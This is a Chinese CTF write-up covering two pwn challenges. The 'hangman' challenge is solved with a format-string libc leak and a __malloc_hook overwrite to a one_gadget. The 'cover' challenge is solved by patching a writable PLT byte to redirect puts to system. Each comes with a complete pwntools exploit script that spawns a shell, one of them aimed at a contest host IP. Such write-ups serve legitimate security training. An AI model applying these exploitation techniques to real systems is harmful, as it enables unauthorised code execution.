本文最后编辑于 前,其中的内容可能需要更新。
hangman
hangman.zip
题目分析


题目逻辑大概是先输入一段字符串,生成一段等大小的‘*’(用局部变量v12存放),然后会让你输入一个字符,判断字符是否存在字符串中,如果是则统计该字符个数(当所有字符个数等于原字符串长度时,会有一个格式化字符串漏洞)同时局部变量v12的相应位置(字符串中的相同位置)会变成该字符,程序会进行四次game,也就是说我们有四次利用的机会
思路
- 先利用格式化字符串泄露libc基地址
- 然后改malloc为one_gadget
- 利用%100000c触发malloc/free,劫持程序控制流
坑点
- 和堆的知识结合利用,通过printf调用malloc
- 程序稍微有点长,变量会有一点多,需要慢慢分析
题外话,第一次打线下赛,感觉还是很不错的,收获了许多涨了许多知识,了解到了一些平时没见过的知识点,可以说是收获满满
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| from pwn import * context(log_level = 'debug', arch = 'amd64') binary='./pwn' local = 1 one_gadget = [0x4f3d5,0x4f3d5,0x10a41c] if local == 1: io = process(binary) else: io=remote() e = ELF(binary) libc = e.libc
def game(date,guess): io.sendlineafter('Enter a word:', date) io.sendlineafter('Guess a letter:', guess)
game(b'%p',b'%p') io.recvuntil('0x') libc_base = int(io.recv(12).decode(), 16) - 131 - libc.symbols['_IO_2_1_stdin_'] io.success("libc_base==>" + hex(libc_base)) one_gadget = one_gadget[2] + libc_base io.success("one_gadget==>" + hex(one_gadget)) malloc = libc.symbols["__malloc_hook"] + libc_base io.success("__malloc_hook ==> " + hex(malloc))
def fmt(addr,date): if date == b'\x00': io.sendlineafter('Enter a word:', b'%14$hn'.ljust(0x10, b'\x00') + p64(addr)) io.sendlineafter('Guess a letter:', b'%14$hn') else: io.sendlineafter('Enter a word:', (b'%' + str(date).encode() + b'c'+ b'%14$hn').ljust(0x10, b'\x00') + p64(addr)) io.sendlineafter('Guess a letter:', ''.join(set('%' + str(date) + 'c%14$hn')))
for i in range(2): fmt(malloc+i*2, (one_gadget>>(i*16))&0xffff) game(b'%100000c\x00', b'%10c') io.interactive()
|

cover
cover.zip
题目分析

没开pie


这里导致了我们的code段可写,说明可能需要修改code段里的数据,方向大致朝这个方向想

这里跳过if判断使得程序不会跳出,目前为止是一个正常的程序,但是通过gdb调试发现if判断后会有一段异常的汇编代码

这里输入的是b’’*4+b’66’,可以看到程序运行到这里是将0xffffffff地址的最后一个字节的数据改成0x66,因为之前分析了code可写,那么可以考虑将put的plt表里的got地址跳转地址修改成system的got地址,可以看看got表的数据


system的got刚好就在putsgot的下面,所以只需要将最后一个字节0x20改成0x24就可

put的plt表中jmp后的got表的最后一个字节为ff需要加2使得最后一个字节为20,改20为24就可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * binary = "./pwn" context.log_level='debug' e = ELF(binary) io = remote('118.190.62.234',12435) gdb.attach(io,"b *0x80486AD") io.recvuntil(b"\n") put_addr = e.plt['puts'] + 2 print(hex(put_addr)) io.send(p32(put_addr)+b'\x24') io.recv() io.sendline(b"/bin/sh\x00") io.interactive()
|
